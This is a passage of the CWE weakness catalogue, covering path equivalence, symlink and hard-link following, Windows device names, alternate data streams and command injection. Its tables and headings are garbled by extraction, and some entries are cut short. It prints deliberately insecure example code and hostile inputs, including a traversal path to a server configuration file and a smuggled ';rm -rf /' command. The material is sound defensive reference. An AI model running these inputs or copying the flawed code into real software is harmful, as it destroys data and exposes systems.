ChildOf	Ⓒ	981	SFP Secondary Cluster: Path Traversal	1000	1372
				888	

Relationship Notes

This weakness is likely to overlap quoting problems, e.g. the "Program Files" unquoted search path (CWE-428). It also could be an equivalence issue if filtering removes all extraneous spaces.

Whitespace can be a factor in other weaknesses not directly related to equivalence. It can also be used to spoof icons or hide files with dangerous names (see icon manipulation and visual truncation in CWE-451).

PLOVER		../ (single dot directory)
Software Fault Patterns	SFP16	Path Traversal

CWE-56: Path Equivalence: 'filedir*' (Wildcard)**Weakness ID:** 56 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

A software system that accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Confidentiality****Integrity****Read files or directories****Modify files or directories****Observed Examples**

Reference	Description
CVE-2002-0433	List files in web server using "*.ext"
CVE-2004-0696	List directories using desired path and "**"

Potential Mitigations

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		filedir* (asterisk / wildcard)
Software Fault Patterns	SFP16	Path Traversal

CWE-57: Path Equivalence: 'fakedir/./readdir/filename'

Weakness ID: 57 (Weakness Variant)

Status: Incomplete

Description**Summary**

The software contains protection mechanisms to restrict access to 'readdir/filename', but it constructs pathnames using external input in the form of 'fakedir/./readdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Confidentiality****Integrity****Read files or directories****Modify files or directories****Observed Examples**

Reference	Description
CVE-2000-0191	application check access for restricted URL before canonicalization
CVE-2001-1152	Proxy allows remote attackers to bypass blacklist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters.
CVE-2005-1366	CGI source disclosure using "dirname/./cgi-bin"

Potential Mitigations**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page

Nature	Type	ID	Name	V	Page
				1000	
ChildOf	C	981	SFP Secondary Cluster: Path Traversal	888	1372

Theoretical Notes

This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		dirname/fakechild/./realchild/filename
Software Fault Patterns	SFP16	Path Traversal

CWE-58: Path Equivalence: Windows 8.3 Filename

Weakness ID: 58 (Weakness Variant)

Status: Incomplete

Description

Summary

The software contains a protection mechanism that restricts access to a long filename on a Windows operating system, but the software does not properly restrict access to the equivalent short "8.3" filename.

Extended Description

On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Operating Systems

- Windows

Common Consequences

Confidentiality

Integrity

Read files or directories

Modify files or directories

Observed Examples

Reference	Description
CVE-1999-0012	Multiple web servers allow restriction bypass using 8.3 names instead of long names
CVE-2001-0795	Source code disclosure using 8.3 file name.
CVE-2005-0471	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.

Potential Mitigations

System Configuration

Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	699	70
				1000

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Weakness ID: 59 (Weakness Base)

Status: Draft

Description**Summary**

The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Alternate Terms**insecure temporary file**

Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Operating Systems

- Windows (*Sometimes*)
- UNIX (*Often*)

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences**Confidentiality****Integrity****Access Control****Read files or directories****Modify files or directories****Bypass protection mechanism**

An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism then an attacker may be able to bypass the mechanism.

Other**Execute unauthorized code or commands**

Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since a ".LNK" file can be uploaded like a normal file. This can enable remote execution.

Likelihood of Exploit

Medium

Detection Methods

Automated Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Manual Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Observed Examples

Reference	Description
CVE-1999-0783	Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.
CVE-1999-1386	Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.
CVE-2000-0342	Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment."
CVE-2000-0972	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.

Reference	Description
CVE-2000-1178	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.
CVE-2001-1042	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
CVE-2001-1043	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
CVE-2001-1386	".LNK." - .LNK with trailing dot
CVE-2001-1494	Hard link attack, file overwrite; interesting because program checks against soft links
CVE-2002-0725	File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.
CVE-2002-0793	Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.
CVE-2003-0517	Symlink attack allows local users to overwrite files.
CVE-2003-0578	Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.
CVE-2003-0844	Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.
CVE-2003-1233	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link
CVE-2004-0217	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile.
CVE-2004-0689	Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files.
CVE-2004-1603	Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.
CVE-2004-1901	Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.
CVE-2005-0587	Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.
CVE-2005-0824	Signal causes a dump that follows symlinks.
CVE-2005-1111	Hard link race condition
CVE-2005-1879	Second-order symlink vulnerabilities
CVE-2005-1880	Second-order symlink vulnerabilities
CVE-2005-1916	Symlink in Python program

Potential Mitigations

Architecture and Design

Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Background Details

Soft links are a UNIX term that is synonymous with simple shortcuts on windows based platforms.

Weakness Ordinalities

MemberOf	V	884	CWE Cross-section	884	1306

Relationship Notes

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.

Some potential factors are race conditions, permissions, and predictability.

Research Gaps

UNIX hard links, and Windows hard/soft links are under-studied and under-reported.

CWE-60: DEPRECATED: UNIX Path Link Problems

Category ID: 60 (Deprecated Category)

Status: Deprecated

Description

Summary

This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	UNIX Path Link problems

CWE-61: UNIX Symbolic Link (Symlink) Following

Compound Element ID: 61 (Compound Element Variant: Composite)

Status: Incomplete

Description

Summary

The software, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

A software system that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.

Alternate Terms

Symlink following
symlink vulnerability

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

These are typically reported for temporary files or privileged programs.

Common Consequences

Confidentiality

Integrity

Read files or directories

Modify files or directories

Likelihood of Exploit

High

Observed Examples

Reference	Description
CVE-1999-1386	Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.
CVE-2000-0972	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.
CVE-2000-1178	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.
CVE-2003-0517	Symlink attack allows local users to overwrite files.
CVE-2004-0217	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile.
CVE-2004-0689	Possible interesting example
CVE-2005-0824	Signal causes a dump that follows symlinks.
CVE-2005-1879	Second-order symlink vulnerabilities
CVE-2005-1880	Second-order symlink vulnerabilities
CVE-2005-1916	Symlink in Python program

Potential Mitigations

Implementation

Symbolic link attacks often occur when a program creates a tmp directory that stores files/ links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

Architecture and Design

Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	59	Improper Link Resolution Before File Access ('Link Following')	699 1000	88
Requires	C	216	Containment Errors (Container Errors)	1000	402
Requires	C	340	Predictability Problems	1000	587
Requires	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	1000	619
Requires	B	386	Symbolic Name not Mapping to Correct Object	1000	659
Requires	C	732	Incorrect Permission Assignment for Critical Resource	1000	1101

Research Gaps

Symlink vulnerabilities are regularly found in C and shell programs, but all programming languages can have this problem. Even shell programs are probably under-reported.

"Second-order symlink vulnerabilities" may exist in programs that invoke other programs that follow symlinks. They are rarely reported but are likely to be fairly common when process invocation is used. Reference: [Christey2005]

CWE-62: UNIX Hard Link

Weakness ID: 62 (Weakness Variant)

Status: Incomplete

Description

Summary

The software, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.

CWE-66: Improper Handling of File Names that Identify Virtual Resources

Weakness ID: 66 (*Weakness Base*)

Status: Draft

Description**Summary**

The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.

Extended Description

Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.

CWE-67: Improper Handling of Windows Device Names

Weakness ID: 67 (*Weakness Variant*)

Status: Incomplete

Description**Summary**

The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.

Extended Description

Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A software system that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.

Observed Examples

Reference	Description
CVE-2000-0168	Microsoft Windows 9x operating systems allow an attacker to cause a denial of service via a pathname that includes file device names, aka the "DOS Device in Path Name" vulnerability.
CVE-2001-0492	Server allows remote attackers to determine the physical path of the server via a URL containing MS-DOS device names.
CVE-2001-0493	Server allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name.
CVE-2001-0558	Server allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name.
CVE-2002-0106	Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name.
CVE-2002-0200	Server allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name.
CVE-2002-1052	Product allows remote attackers to use MS-DOS device names in HTTP requests to cause a denial of service or obtain the physical path of the server.
CVE-2004-0552	Product does not properly handle files whose names contain reserved MS-DOS device names, which can allow malicious code to bypass detection when it is installed, copied, or executed.
CVE-2005-2195	Server allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name.

Potential Mitigations**Implementation**

Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.

Background Details

Historically, there was a bug in the Windows operating system that caused a blue screen of death. Even after that issue was fixed DOS device names continue to be a factor.

CWE-68: DEPRECATED: Windows Virtual File Problems

Category ID: 68 (Deprecated Category)

Status: Deprecated

Description

Summary

This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Windows Virtual File problems

CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream

Weakness ID: 69 (Weakness Variant)

Status: Incomplete

Description

Summary

The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).

Extended Description

An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.

Observed Examples

Reference	Description
CVE-1999-0278	In IIS, remote attackers can obtain source code for ASP files by appending ":::DATA" to the URL.

Reference	Description
CVE-2000-0927	Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions.

Potential Mitigations

Testing

Software tools are capable of finding ADSs on your system.

Implementation

Ensure that the source code correctly parses the filename to read or write to the correct stream.

Background Details

Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		66	Improper Handling of File Names that Identify Virtual Resources	699 1000	97

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	DS - Apple '.DS_Store

CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

Weakness ID: 72 (*Weakness Variant*)

Status: Incomplete

Description

Summary

The software does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.

Extended Description

If the software chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the software may take unexpected actions. Further, if the software intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Operating Systems

- Mac OS

Common Consequences

Confidentiality

Integrity

Read files or directories

Modify files or directories

Demonstrative Examples

A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

Observed Examples

Reference	Description
CVE-2004-1084	Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+.

Background Details

The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:

- Resource fork: file/..namedfork/rsrc, file/rsrc (deprecated), xattr:com.apple.ResourceFork
- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)

Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with "._" prepended to the name.

Forks can also be accessed through non-portable APIs.

Forks inherit the file system access controls of the file they belong to.

Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

Relationships

CWE-73: External Control of File Name or Path

Weakness ID: 73 (*Weakness Class*)

Status: Draft

Description

Summary

The software allows user input to control or influence paths or file names that are used in filesystem operations.

Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:

1. An attacker can specify a path used in an operation on the filesystem.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Operating Systems

- UNIX (*Often*)
- Windows (*Often*)
- Mac OS (*Often*)

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Integrity

Confidentiality

Read files or directories

Modify files or directories

The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.

Integrity**Confidentiality****Availability****Modify files or directories****Execute unauthorized code or commands**

The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.

Availability**DoS: crash / exit / restart****DoS: resource consumption (other)**

The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.

Likelihood of Exploit

High

Detection Methods**Automated Static Analysis**

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Demonstrative Examples**Example 1:**

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Java Example:*Bad Code*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 2:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Java Example:*Bad Code*

```
fis = new FileInputStream(cfg.getProperty("sub")+ ".txt");
amt = fis.read(arr);
out.println(arr);
```

Observed Examples

Reference	Description
CVE-2008-5748	Chain: external control of values for user's desired language and theme enables path traversal.
CVE-2008-5764	Chain: external control of user's target language enables remote file inclusion.

Potential Mitigations**Architecture and Design**

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Architecture and Design**Operation**

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator.

Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation

Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59).

Installation**Operation**

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Operation Implementation

If you are using PHP, configure your application so that it does not use `register_globals`. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Weakness Ordinalities

ChildOf		1015	Limit Access	1008	1412
CanAlsoBe		99	Improper Control of Resource Identifiers ('Resource Injection')	1000	185

Relationship Notes

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the `CanPrecede` relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc.

However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all. The external control can be resultant from other issues. For example, in PHP applications, the `register_globals` setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with

excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Weakness ID: 74 (Weakness Class)

Status: Incomplete

Description

Summary

The software constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

Extended Description

Software has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality**Read application data**

Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation.

Access Control**Bypass protection mechanism**

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Other**Alter execution logic**

Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.

Integrity**Other****Other**

Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.

Non-Repudiation**Hide activities**

Often the actions performed by injected control code are unlogged.

Likelihood of Exploit

High

Potential Mitigations**Requirements**

Programming languages and supporting technologies might be chosen which are not subject to these issues.

Implementation

Utilize an appropriate mix of whitelist and blacklist parsing to filter control-plane syntax from all input.

Weakness Ordinalities

ParentOf	C	943	Improper Neutralization of Special Elements in Data Query Logic	699 1000 1003	1357

Relationship Notes

In the development view (CWE-699), this is classified as an Input Validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the protection mechanism that prevents the attack from succeeding. In the research view (CWE-1000), however, input validation is only one potential protection mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the improper enforcement of the structure of messages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.

CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)

Weakness ID: 75 (Weakness Class)

Status: Draft

Description

Summary

The software does not adequately filter user-controlled input for special elements with control implications.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Integrity

Confidentiality

Availability

Modify application data

Execute unauthorized code or commands

Potential Mitigations

Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

Implementation

Utilize an appropriate mix of whitelist and blacklist parsing to filter special element syntax from all input.

CWE-76: Improper Neutralization of Equivalent Special Elements

Weakness ID: 76 (Weakness Base)

Status: Draft

Description

Summary

The software properly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.

Extended Description

The software may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example, the software may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some *nix systems could be expanded to an absolute pathname. Alternately, the software might filter a dangerous "-e" command-line switch when calling an external program, but it might not account for "--exec" or other switches that have the same semantics.

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Weakness ID: 77 (Weakness Class)

Status: Draft

Description

Summary

The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Extended Description

Command injection vulnerabilities typically occur when:

1. Data enters the application from an untrusted source.
2. The data is part of a string that is executed as a command by the application.
3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Command injection is a common problem with wrapper programs.

Terminology Notes

The "command injection" phrase carries different meanings to different people. For some people, it refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.)

Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Integrity

Confidentiality

Availability

Execute unauthorized code or commands

If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

C Example:

```
int main(int argc, char** argv) {
```

Bad Code

```
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}
```

Because the program runs with root privileges, the call to `system()` also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form `";rm -rf /"`, then the call to `system()` fails to execute `cat` due to a lack of arguments and then plows on to recursively delete the contents of the root partition. Note that if `argv[1]` is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

